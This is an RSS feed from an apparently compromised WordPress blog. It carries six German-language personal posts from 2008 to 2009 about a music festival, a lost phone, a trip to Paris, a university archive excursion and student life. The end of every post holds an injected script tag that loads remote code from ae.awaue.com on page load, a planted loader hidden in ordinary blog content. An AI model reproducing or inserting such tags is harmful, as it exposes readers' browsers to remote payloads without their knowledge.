<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>i be gan. &#187; done that</title>
	<atom:link href="http://blog.ibegan.net/archives/tag/done-that/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.ibegan.net</link>
	<description></description>
	<lastBuildDate>Fri, 06 Nov 2009 13:34:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>underdressed and overaged (Festivalfragment)</title>
		<link>http://blog.ibegan.net/archives/194</link>
		<comments>http://blog.ibegan.net/archives/194#comments</comments>
		<pubDate>Mon, 04 May 2009 08:17:39 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[been there]]></category>
		<category><![CDATA[done that]]></category>
		<category><![CDATA[musik]]></category>
		<category><![CDATA[schreiben!]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=194</guid>
		<description><![CDATA[Aus den Untiefen meines Archivs:
[...] das Salzkammergut ist da, wo es anfängt zu regnen, und einfach nicht mehr aufhört. Menschen, die barfuß durch den Schlamm laufen, sich einen Karton um den Hals hängen und &#8220;Mama, i brauch kane Regenstiefel&#8221; draufschreiben. Menschen, Kinder, Jugendliche. Menschen, die barfuß durch den Regen/Schlamm/Matsch/Tag stampfen/und nicht krank werden/denn die Liebe/die [...]]]></description>
			<content:encoded><![CDATA[<p>Aus den Untiefen meines Archivs:</p>
<p style="padding-left: 30px;font-size:7.5pt">[...] das <del datetime="2009-05-15T14:56:23+00:00">Salzkammergut </del>ist da, wo es anfängt zu regnen, und einfach nicht mehr aufhört. Menschen, die barfuß durch den Schlamm laufen, sich einen Karton um den Hals hängen und &#8220;Mama, i brauch kane Regenstiefel&#8221; draufschreiben. Menschen, Kinder, Jugendliche. Menschen, die barfuß durch den Regen/Schlamm/Matsch/Tag stampfen/und nicht krank werden/denn die Liebe/die Liebe und der Alkohol/ überhaupt die Euphorie. Schiefe Blicke. Tiroler, die sprechen wie ihre eigene Parodie, alles <em>pärig </em>finden und eh schon seit fünf Uhr früh trinken. Fremdschämen. Dann doch: Plastiksack im Schuh/Plastiksack statt Schuh/Plastik um das Hosenbein/Plastik statt Hose/aber auch barfuß und mit hotpants. Es regnet. Und jeder Schritt ist statement. Die Massen tragen den Gratisregenschutz. Die rote/rosa/weiße Festivaluniform. Regenstiefel in bunt in rosa in grün in gelb oder die Matschversion. Sich mit Freunden in den Schlamm schmeißen/in der Riesenlacke, in der das eigene Zelt versinkt, eine Angel auswerfen/die Luftma [...]</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/194/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://blog.ibegan.net/archives/189</link>
		<comments>http://blog.ibegan.net/archives/189#comments</comments>
		<pubDate>Sun, 03 May 2009 11:33:32 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[argh!]]></category>
		<category><![CDATA[been there]]></category>
		<category><![CDATA[done that]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=189</guid>
		<description><![CDATA[Der deprimierendste Moment an &#8220;Ich habe mein Handy im Zug liegenlassen und werde es nie mehr wieder bekommen&#8221; war nicht jener, in dem ich eben dieses realisiert hatte, auch nicht der, als ich zum zweiten Mal mit dem Zugführer telefonieren musste, weil ich beim ersten Mal der Meinung war, ich hätte ein Sony Ericsson, dabei [...]]]></description>
			<content:encoded><![CDATA[<p>Der deprimierendste Moment an &#8220;Ich habe mein Handy im Zug liegenlassen und werde es nie mehr wieder bekommen&#8221; war nicht jener, in dem ich eben dieses realisiert hatte, auch nicht der, als ich zum zweiten Mal mit dem Zugführer telefonieren musste, weil ich beim ersten Mal der Meinung war, ich hätte ein Sony Ericsson, dabei war es doch ein Nokia (das war ehrlich gesagt, doch sehr nett), auch nicht der, als ich weggedrückt wurde, als ich mich selbst anrief &#8211; sondern jener Augenblick, in dem mir das Onlineformular bei der Registrierung für eine neue SIM-Karte meinen Namen absprach.</p>
<p><a class="tt-flickr tt-flickr-Large" title="gemeiner bob" href="http://www.flickr.com/photos/gananarama/3496124127/"><img class="alignnone" src="http://farm4.static.flickr.com/3356/3496124127_37e2028149_o.jpg" alt="sogemein" width="450" height="214" /></a></p>
<p>Von Menschen bin ich das gewohnt, die halten kurz inne, schütteln den Kopf und sagen &#8220;häh?&#8221;, &#8220;wie bitte?&#8221;, &#8220;im Ernst?&#8221; und &#8220;wie heißt du dann wirklich?&#8221;, aber Datenbanken, Datenbanken!<br />
Ich bin ja fast auf den Tod beleidigt.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/189/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://blog.ibegan.net/archives/174</link>
		<comments>http://blog.ibegan.net/archives/174#comments</comments>
		<pubDate>Sun, 01 Feb 2009 18:41:56 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[been there]]></category>
		<category><![CDATA[done that]]></category>
		<category><![CDATA[schreiben!]]></category>
		<category><![CDATA[spaghetti approach]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=174</guid>
		<description><![CDATA[etwas arg spezifisches / Liebe und Rechtschreibung / Die Zeit ohne einen Fallschirm / Nase popeln und Hände verschränken / zu spät kommen, warten, und die Arme über Kreuz / leere Bierflaschen und Kühlschrankmagnete / einen goldenen Fußball im Bett / Faulenzer vs. Geodreieck / Selbstbeweihräucherung in Zeiten des Zölibats / Rechtsmittel, und &#8220;friedhofsblonde Haare&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>etwas arg spezifisches / Liebe und Rechtschreibung / Die Zeit ohne einen Fallschirm / Nase popeln und Hände verschränken / zu spät kommen, warten, und die Arme über Kreuz / leere Bierflaschen und Kühlschrankmagnete / einen goldenen Fußball im Bett / Faulenzer vs. Geodreieck / Selbstbeweihräucherung in Zeiten des Zölibats / Rechtsmittel, und &#8220;friedhofsblonde Haare&#8221; / Pornobrillen und Mahngebühren / Umleitungen vs. Garnichthingehen / Freundschaft ohne Toleranz / Respekt mit Auslosen / Zäune gegen den Fortschritt / wenn das Studieren leicht wär, hätten wir alle einen Hochschulabschluss (vs: fast alle) / Zeit zerfließt / entartete Kommunikation / Kontext, Recherche &amp; Staubpartikel / am Riemen reimen / eine Schwalbe macht noch keinen Lack kaputt / Vertrauen verschätzen / überschätzen / WIE BITTE? / nachts sind alle Ergüsse großartig / Geistes / goldene Bullen und Milchkühe / Käpt&#8217;n Blaubeer aß ein Eis / Plan und Phantasie / spontan weinen und: Geliebte Gefühlsduseleien / Zahnbürsten für Lehrmaterialen / &#8220;Ich sage ja immer, die schießen so lange hin und her, bis einem was passiert.&#8221; / Geständnis heucheln und mit Gerste spielen / aufgeben vs. üben / Haus am Strand oder Hotel am Meer? // Im Grunde überschätzt Du Dich selbst.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/174/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Paris, novembernullacht</title>
		<link>http://blog.ibegan.net/archives/169</link>
		<comments>http://blog.ibegan.net/archives/169#comments</comments>
		<pubDate>Sat, 22 Nov 2008 14:53:06 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[been there]]></category>
		<category><![CDATA[done that]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[freunde]]></category>
		<category><![CDATA[love is all around]]></category>
		<category><![CDATA[photo]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=169</guid>
		<description><![CDATA[Individualtourismus galore. Die Stadt trägt einen grauen Schleier vor sich her und im Louvre geht die Zeit verloren. All diese klischeeromantischen Orte aus Liebesfilmen und Kleinmädchenträumen. Ein nervös blinkender Eiffelturm. Auf Französisch angesprochen worden, und unabsichtlich Italienisch geantwortet. Einmal sogar ein &#8220;sorry, I don&#8217;t speak English&#8221; vor mich hingemurmelt. Im Disney Shop große Augen, und [...]]]></description>
			<content:encoded><![CDATA[<p>Individualtourismus galore. Die Stadt trägt einen grauen Schleier vor sich her und im Louvre geht die Zeit verloren. All diese klischeeromantischen Orte aus Liebesfilmen und Kleinmädchenträumen. Ein nervös blinkender Eiffelturm. Auf Französisch angesprochen worden, und unabsichtlich Italienisch geantwortet. Einmal sogar ein &#8220;sorry, I don&#8217;t speak English&#8221; vor mich hingemurmelt. Im Disney Shop große Augen, und am liebsten ein Buzz Lightyear-Pyjama gekauft. Englischsprechende Franzosen.<br />
Die Abteile in den RER-Zügen sind mannerfarben. Der weißeste Christkindlmarkt der Welt und das Sozialleben von Erasmusstudenten. </p>
<p>In der Metro sitzen und schreiben.  </p>
<p><a href="http://www.flickr.com/photos/gananarama/3049542161/" title="paris - november 08 by gananarama, on Flickr"><img src="http://farm4.static.flickr.com/3210/3049542161_48b792a666_o.jpg" width="400" height="4395" alt="paris - november 08" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/169/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>exkursionsbericht</title>
		<link>http://blog.ibegan.net/archives/166</link>
		<comments>http://blog.ibegan.net/archives/166#comments</comments>
		<pubDate>Tue, 04 Nov 2008 12:04:48 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[been there]]></category>
		<category><![CDATA[done that]]></category>
		<category><![CDATA[schreiben!]]></category>
		<category><![CDATA[uni]]></category>
		<category><![CDATA[wien]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=166</guid>
		<description><![CDATA[drei tage quer durch ober- und niederösterreich. sie sagen, wir fahren rauf, dann runter und dann rüber und dann wieder zurück. völlig den blick aufs große ganze verloren, die welt vor den busfenstern ist eh nur schwarz und grau und nebelig. beim ersten mittagstisch verbale haue für die klischeehafte bemerkung, es sei eh alles so [...]]]></description>
			<content:encoded><![CDATA[<p>drei tage quer durch ober- und niederösterreich. sie sagen, wir fahren rauf, dann runter und dann rüber und dann wieder zurück. völlig den blick aufs große ganze verloren, die welt vor den busfenstern ist eh nur schwarz und grau und nebelig. beim ersten mittagstisch verbale haue für die klischeehafte bemerkung, es sei eh alles so flach. wieder an der innerösterreichischen dialektalen zuordnung scheitern. mehr als vorarlbergerisch, tirolerisch und vielleicht dann noch das burgenländ<span style="text-decoration: line-through;">er</span>ische, mehr geht nicht. dann verlorengehen. als letzte noch zahlen, bei einer verzweifelten kassiererin, die völlig vergessen, dass man ja noch mit bancomat zahlen wollte, und zuwenig geld bekommen hatte für ihre fünfunddreißig menüs, und dann ganz erleichtert. die gruppe geht schon mal nach draußen, ich muss noch zahlen, die erste bancomatkarte geht nicht, limit überzogen, und dann halt die italienische, und es dauert ein bisschen länger, smalltalk, dann vor die tür, und dann: verloren. allein. die gruppe ist weg, da ist nur nebel und eine breite straße, und sie haben mich vergessen.</p>
<p>später ist es ihnen dann unglaublich peinlich, sagen sie, ein schlechtes gewissen, sagen sie, und alle kennen meinen namen und mein gesicht, und <em>dass du uns ja nicht mehr verloren gehst</em>. die turnlehrer entwickeln beschützerinstinkte, die archivarin, die noch schnell ihre diplomarbeit schreibt, und eine tochter in meinem alter hat, auch. die vorarlbergerin hatte mich als erste vermisst, die wiener sprechen von <em>westlicher solidarität</em>. in der zwischenzeit hatte ich mir den hundertwasserbrunnen dreimal angeschaut, und mit der uni wien telefoniert, denn keine handynummer von irgendwem und die sekretärin gibt sich mühe und sucht und schaut und telefoniert und smst. am ende dann wieder gefunden, und die nächsten zwei tage höre ich immer wieder, <em>bist eh noch da?, telefonierst wieder mit der uni? </em>und nach dem essen:<em> ich sag jetzt nichts, aber das ist ja für dich der kritische moment, ich bleib jetzt einfach bei dir.</em></p>
<p>jetzt fangen sie an, namenslisten vorzulesen und handynummern auszutauschen.</p>
<p>nieder- und oberösterreichische kleinstädte, ich weiß jetzt nicht mehr, was wo lag, dreieckige stadtgrundrisse, glückliche archivare, dass <em>ihr da von der uni wien</em> kommt, tut gut, man muss <em>ums budget kämpfen</em>, und der vizebürgermeister und seine <em>frau</em>, die finanzstadträtin. er zeigt seine kämmerchen im obersten stock des stadtamtes, kalt ist es, die räume sind klein und im sommer heiß. wir sitzen im großen sitzungssaal, draußen hängen die porträts der bürgermeister, zwei hatten einen hitlerschnauzer, der von 36 bis 38, und der von 46 bis 50. im gang hängt ein plakat vom zivilschutz, wie denn bei atomunfällen und terroranschlägen das leben zu retten sei, abgebildet: ein flugzeug, das in ein atomkraftwerk fliegt.</p>
<p>die befriedigung, spätmittelalterliche und neuzeitliche schriften lesen zu können.</p>
<p>am nächsten tag &#8211; übernachtung im viersternehotel mit wellnessbereich und frühstücksbuffet, ein schnäppchen sagen die professoren, aha sagen wir &#8211; das gegenprogramm. geld gabs genug, weil landesausstellung, der archivar von gestern würde weinen, wenn er sowas hätte, denke ich. der professor liest mit märchenstimme einen ransmayrtext vor. die stadt ist schmuck und bunt und freundlich und abends wie ausgestorben.  die turnlehrer wundern sich über frauen, die bier trinken, und wenn man sie fragt, ob man als turnlehrer grundsätzlich sadistisch veranlagt sein muss, lachen sie. wir reden über starmania und spanisch als weltsprache und schwiegereltern und wie sich das anfühlen muss, von archivalien zerquetscht zu sterben.</p>
<p>in steyr mussten sie einen barocken schrank auseinanderschneider, damit man die türen öffnen kann. staub und chaos und ein mittelalterlicher innenhof, in den ich mich verliebe. die englischlehrerin &#8211; überhaupt, so viele lehramtsstudenten auf einem haufen, wir entwickeln dann später die theorie, dass alle deswegen immer so pünktlich sind, weil als lehrer magst du ja zeitpläne, und als lehrer respektierst du ja autoritäten, weil du selbst eine darstellen willst, was gabi zwei tage später nachts am gürtel auf den nachtbus wartend mit <em>diese faschisten</em> kommentiert &#8211; fragt die schwangere, wie denn das mit den überlebenschanchen bei frühgeburten aussieht. wir haben keine namen, wir sind nur typen.</p>
<p>auf den kirchturm hinaufsteigen, ganz nach oben. einen papierflieger aus lachsrosa papier runterschmeißen, der sich dreht und dreht und dann in einer dachrinne landet.</p>
<p>in linz steht dann ein amishbart einem amishbart gegenüber. dreißig laufkilometer archivalien, ein <em>speicherturm</em>, und die englischlehrerin fragt, was ein <em>terabyte </em>ist. in kartonen wühlen, die professoren sind ganz aufgeregt. kindsmordverhandlungen und urbare. ein steckbrief, und der gesuchte böhmische schauspieler hatte eine <em>proportionierte </em> nase &#8211; <em>was auch immer das heißen mag</em>.</p>
<p>der busfahrer lässt schon wieder den motor laufen, am ende kriegt er applaus, die englischlehrerin johlt.</p>
<p>in wien dann endlich wieder zurück in der welt, drei tage keine zeitung, keine nachrichten. die D heißt noch D und bringt mich nachhaus und ich will eigentlich nur mehr schlafen.</p>
<p>photo habe ich kein einziges gemacht.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/166/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Schiefe Bilder</title>
		<link>http://blog.ibegan.net/archives/164</link>
		<comments>http://blog.ibegan.net/archives/164#comments</comments>
		<pubDate>Sun, 19 Oct 2008 08:42:02 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bauernkind]]></category>
		<category><![CDATA[been there]]></category>
		<category><![CDATA[done that]]></category>
		<category><![CDATA[schiefes]]></category>
		<category><![CDATA[südtirol]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=164</guid>
		<description><![CDATA[[beware: Eigenerfahrungen, vermischt mit einer etwas negativen Grundstimmung]
Das Studium ist wie ein Trachtenumzug: Man bereitet sich gespannt und mit großem Aufwand vor, wartet lange darauf, endlich losziehen zu dürfen, malt sich so einiges aus, dann reiht man sich endlich ein, beginnt seine Runde und erkennt &#8211; Da sind noch hundert Andere, die sich genauso aufgeputzt [...]]]></description>
			<content:encoded><![CDATA[<p>[beware: Eigenerfahrungen, vermischt mit einer etwas negativen Grundstimmung]</p>
<p>Das Studium ist wie ein Trachtenumzug: Man bereitet sich gespannt und mit großem Aufwand vor, wartet lange darauf, endlich losziehen zu dürfen, malt sich so einiges aus, dann reiht man sich endlich ein, beginnt seine Runde und erkennt &#8211; Da sind noch hundert Andere, die sich genauso aufgeputzt haben, genauso aussehen und genau dasselbe machen. Man marschiert und läuft seine Strecke ab, achtet dabei vor allem auf die Außenwirkung (joviales, nicht zu häufiges Winken in Richtung der Schaulustigen, die genau dasselbe schon vorher gesehen haben, und nachher noch sehen werden). Am Ende ist man todmüde, die Füße tun weh, man hat einen Krampf im Arm, aber nichts besonderes geleistet und vor allem: Keine Ahnung, was man jetzt denn machen soll.</p>
<p>[Ich hatte gewarnt]<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/164/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
  
